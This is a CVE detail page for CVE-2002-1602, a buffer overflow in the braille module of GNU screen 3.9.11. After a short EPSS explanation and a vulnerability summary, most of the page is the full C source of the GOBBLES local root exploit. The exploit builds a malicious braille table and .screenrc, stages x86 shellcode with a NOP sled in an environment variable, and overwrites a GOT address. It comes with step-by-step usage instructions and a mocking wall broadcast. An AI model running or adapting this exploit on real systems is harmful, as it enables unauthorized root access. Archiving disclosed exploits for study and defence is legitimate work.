CVE-2002-1602 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/4578/info Screen is a freely available, open source terminal management software package. It is distributed and maintained by the Free Software Foundation. It is available for the Unix and Linux platforms. Under some circumstances, it may be possible for a local user to take advantage of a buffer overflow in screen. Due to insufficient bounds checking performed by the braille module of screen, it is possible for a local user to pass long strings of data to the screen program, which could result in an overflow, and the overwriting of process memory. This could result in the execution of arbitrary code. /* screen 3.9.11 local root exploit for braille module dedicated to the $ecurity Community, where blind leading blind. code for: linux/x86 to use: 1) edit paths in #defines 2) gcc -o GOBBLES-own-screen GOBBLES-own-screen.c 3) ./GOBBLES-own-screen -p 4) ./GOBBLES-own-screen -f 5) ./GOBBLES-own-screen -a 0xGOBBLES if you want rootshell, that up to you to modify exploit. beware vicious remote root exploit coming from GOBBLES for Sun Solaris version 6-8, hurry up Sun to make patch. . . */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NULLBASE 48 #define TABLE "/home/GOBBLES/hacking/.scrx" #define SCREENRC "/home/GOBBLES/hacking/.screenrc" #define SCREEN "/home/GOBBLES/hacking/current/screen-3.9.11/screen" #define FIND 1 #define PUT 0 #define OFFSET -40300 #define SHELL "/bin/bash" #define NOP 0x90 void bta(int byte, char *store); void stuff(int que); unsigned long get_sp(void) { __asm__ ("movl %esp, %eax"); // rumor is Cousin WOBBLES leaked this public, hehehe thnx! } int main(int argc, char **argv) { char *a, *tmp, buf[64], store[10], c; unsigned long address; unsigned int w[4]; int i, b, start; FILE *fd; if(argc == 1) { fprintf(stderr, "\n%s [ -p ] [ -f ] [ -a <shellcode address> -o <offset to GOT address> ]\n\n", argv[0]); fprintf(stderr, "-p switch places shellcode into memory\n"); fprintf(stderr, "-f switch finds shellcode address\n\n"); fprintf(stderr, "No switch runs exploit with options:\n"); fprintf(stderr, "\t-a <shellcode address>\n"); fprintf(stderr, "\t-o <offset to GOT address>\n\n"); exit(0); } start = OFFSET; while((c = getopt(argc, argv, "pfa:o:")) != EOF) { switch(c) { case 'p': stuff(PUT); exit(0); case 'f': stuff(FIND); exit(0); case 'a': sscanf(optarg, "%p", &tmp); address = (long)tmp; break; case 'o': start = atoi(optarg); break; default: fprintf(stderr, "hehehehe?\n"); exit(0); } } fprintf(stderr, ". preparing evil braille table\n"); if((fd = fopen(TABLE, "w")) == NULL) { perror("fopen"); exit(1); } fprintf(stderr, ". converting: 0x%lx into braille table strings\n", address); w[0] = (address & 0x000000ff); w[1] = (address & 0x0000ff00) >> 8; w[2] = (address & 0x00ff0000) >> 16; w[3] = (address & 0xff000000) >> 24; for(i = 0; i < 4; i++) { memset(store, 'o', 9); bta(w[i], store); memset(buf, '\0', sizeof(buf)); snprintf(buf, sizeof(buf), "%d ff %s\n", start+i, store); fprintf(stderr, ". writing to braille table: %s", buf); fprintf(fd, "%s", buf); } fclose(fd); fprintf(stderr, ". preparing evil .screenrc\n"); if((fd = fopen(SCREENRC, "w")) == NULL) { perror("fopen"); exit(1); } fprintf(fd, "bd_start_braille on\n"); memset(buf, '\0', sizeof(buf)); snprintf(buf, sizeof(buf), "bd_braille_table %s\n", TABLE); fprintf(fd, "%s", buf); fprintf(fd, "bd_type powerbraille_40\n"); fprintf(fd, "bd_port /dev/ttyS0\n"); fclose(fd); fprintf(stderr, ". now exploiting blind, hehehe\n"); if(execl(SCREEN, "screen", "-c", SCREENRC, NULL)) { fprintf(stderr, ". error executing\n"); exit(1); } } void bta(int byte, char *store) { int check[9], i, b, tmp; check[0] = 0; check[1] = 1; check[2] = 2; check[3] = 4; check[4] = 8; check[5] = 16; check[6] = 32; check[7] = 64; check[8] = 128; tmp = byte; for(i = 8; i >= 0; i--) { if(check[i] <= tmp) { tmp -= check[i]; store[i] = 'x'; } } for(i = 0; i < 9; i++) { if(store[i] == 'x') store[i] = NULLBASE + i; else store[i] = NULLBASE; } store[9] = '\0'; fprintf(stderr, ". braille table string for byte: 0x%x is: %s\n", byte, store); } void stuff(int que) { char *p, codebuf[4097], code[] = // borrowed shellcode, GOBBLES lazy today, // not sure who to credit for it, if it // yours please email GOBBLES@hushmail.com // to be acknowledged! "\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb" "\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a" "\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47" "\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89" "\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" "\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63" "\x30" // hehehe..hoping blind not deaf so he can hear beep, hehehe. "echo \"Hope you not really blind, because you now owned by unethical penetrator using ethical GOBBLES exploit, hehehehe ;Pppppp\" | wall"; // also let user on shell provider know system comprimised, hehe. char *locate = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; int i; if(que == PUT) { // adding many nops to build much suspense hehehe memset(&codebuf, '\0', sizeof(codebuf)); memset(codebuf, NOP, (sizeof(codebuf) - 1)); memcpy(codebuf + (sizeof(codebuf) - strlen(code) - 1), code, strlen(code)); fprintf(stderr, ". run GOBBLES-own-screen -f\n"); if(setenv("CODE", codebuf, 1) == -1) { fprintf(stderr, ". no mem for shellcode\n"); return; } system(SHELL); } else if(que == FIND) { // track down nops fprintf(stderr, ". getting address\n"); p = (char *)get_sp(); while((i = strncmp(p, locate, strlen(locate))) != 0) p++; if(i == 0) { fprintf(stderr, ". shellcode found at: 0x%lx\n", p+1); return; } else { fprintf(stderr, ". trouble locating shellcode\n"); return; } } }